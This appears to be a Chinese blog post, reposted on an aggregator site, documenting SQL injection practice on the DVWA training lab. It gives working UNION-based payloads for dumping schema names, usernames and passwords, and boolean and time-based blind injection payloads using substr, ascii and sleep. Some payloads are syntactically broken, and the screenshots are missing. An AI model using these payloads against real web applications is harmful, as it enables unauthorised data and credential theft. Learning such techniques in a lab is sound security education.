IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> DVWA靶场 -> 正文阅读

[大数据]DVWA靶场

1.sql注入一般流程:

1)判断注入点:即判断是否存在sql注入,通常在参数后面加单引号,万能密码

2)判断查询的字段数 :order by 数字(数字从小到大,看是否报错)

3)确定回显位

4)获取信息函数:

user() 获取当前用户用户

database() 获取当前数据库

version() 获取数据库版本

5)获取数据库名:1’ union select version(),database()#

6)获取表名:

1‘union select 1,table_name from information_schema.tables where table_schema='刚查库表名'

7)获取列名:1’union select1,column_name from information_schema.columns where table_name='刚查询表名‘#

8)获取数据:1‘union select 指定列名,from 表名

一.SQL injection(low):

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id'

?1、判断注入点:试试万能密码,有回显,说明存在注入点

?2、查询字段数,依次列举猜测,直到order by 3才报错,说明只有两个字段

3.查看数据库信息

1' union select version(),database()#

4、查看dvwa此数据库中表名

输入

1'union select 1, table_name from information_schema.tables where table_schema='dvwa'#

会发现下列字样,我也不知道为什么?????查了一下在from前面加上下列代码就可以了

COLLATE utf8_general_ci

爆出了两个表名,分别查询两个表明,我们可以从表中查找列的信息

?5、查询列信息:users表中的所有列信息爆出,看到了password,user

6.查看password里面信息

?

?二.一.SQL injection(medium):

与low相比,medium多了下列代码,对单引号进行了转义,可以一定程度防止sql注入,而且输入处是下拉菜单,所以只有抓包修改参数,步骤大致和low差不多

 $id = mysql_real_escape_string( $id )

1.看注入方式:显然是数字注入,所以单引号对id=1的注入无影响,只是对后面在特定表中查找会产生影响

?

?2、查询当前数据库

?3.查看当前数据库里面的表

4.查询表中的列名,想办法绕过单引号,把字符串转化为16进制

?

?

?5.查看数据,爆出了用户名和相应密码

盲注分为两类:

1.布尔盲注 :当存在SQL注入时,攻击者无法通过页面或请求的返回信息,回显或获取到SQL注入语句的执行结果,这种情况就叫盲注。
?? ?布尔型盲注就是利用返回的True或False来判断注入语句是否执行成功。它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。

**什么情况下考虑使用布尔盲注?**
??? 1. 该输入框存在注入点。
?? ?2. 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入。
?? ?3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。

?布尔盲注流程:

1)判断数据库名的长度

and length(database())>数字

2)猜测数据库名(使用ascii码来依次判断)

and (ascii(substr(database(),1,1)))>数字#

3)猜测表名

and (ascii(substr((select table_name from information_schema.tables where table.schema=database() limit 1,1)1,1)>数字#

4)猜测字段名(列名):这里数字一般取105,对应字母为i(id)

and (ascii(substr((select column_name from information_schema.columns where table.schema=database() and table_name=’刚查询的数据库表名’ limit 0,1)1,1)>数字#

5)猜测字段内容

and (ascii(substr(( select password from 已知表名 limit 0,1),1,1)))=数字--+

2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
?? ?时间盲注与布尔盲注类似。时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。
?? ?
?? ?**什么情况下考虑使用时间盲注?**
?? ?1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样
?? ?2. 不会回显注入语句执行结果,故无法使用UNION注入
?? ?3. 不会显示报错信息,故无法使用报错注入
?? ?4. 符合盲注的特征,但不属于布尔型盲注

时间盲注流程:

1)猜测数据库名称长度

eg:

输入:id=1' and If(length(database()) > 1,1,sleep(5))--+
用时:<1s,数据库名称长度>1
…
输入:id=1' and If(length(database()) >8 ,1,sleep(5))--+
用时:5s,数据库名称长度=8
得出结论:数据库名称长度等于8个字符。

2)猜测数据库名称的第一个字符

eg:

输入:id=1' and If(ascii(substr(database(),1,1))=97,sleep(5),1)--+
用时:<1s
…
输入:id=1' and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+
用时:5s

3)猜测数据库表名:先猜测长度
4)猜测数据库字段:先猜测长度
5)猜测字段内容:先猜测长度

?三、SQL injection(blind) low

1)判断注入类型:比较之后容易得到是字符型注入

?

?2)判断数据库长度:尝试大于5报错后,范围就变得很小,可以依次试=4 ? =3………………发现length=4时报对,说明当前数据库长度为4

?3)判断数据库名称(4个字母,依次尝试)注:A-Z(65-90)???? a-z(97-122),语法见下列过程

显然库名第一个字母ascii码值为100-d,同理得出[database(),2,1],[database(),3,1],[database(),4,1]d的值,就可以知道当前数据库名了

?4)判断数据库的表名(先猜表个数,再猜表名),猜到2范围就很小了,依次往后减,发现猜个数为2报对,语法见例子

?猜解表名:(表长度->表名)

经过一系列尝试,得出dvwa靶场的第一个表名长度为9,

103-g

用同样方法查看第二个表的长度 ,一系列尝试,表长度为5

?猜解表名117-u,这样依次猜出第二个表的名称-users

?猜解列名(个数->列名),经过一系列尝试,直接演示正确答案

1' and(select count(*) from information_schema.columns where table_schema=database() and table_name='users')=8 #,users表中有8个列

列名:1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1)=number #猜users表中第一列的列名长度,依次查23列列长……


1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))>num #猜解第一列名第一位,依次查第一列的第23位是什么字符,……

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1)=number #猜users表中第二列的列名的第一位字符,依次查23位字符是什么

经过n多次尝试,得出所有列名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

猜解用户名:1‘ and (ascii(substr((select user from users limit 0,1),1,1)))=num #依次查(2,1),(3,1)……得出结果为admin

?上述省略n多步

?

?

?

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-01-30 18:59:54  更:2022-01-30 19:01:03 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 12:53:16-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码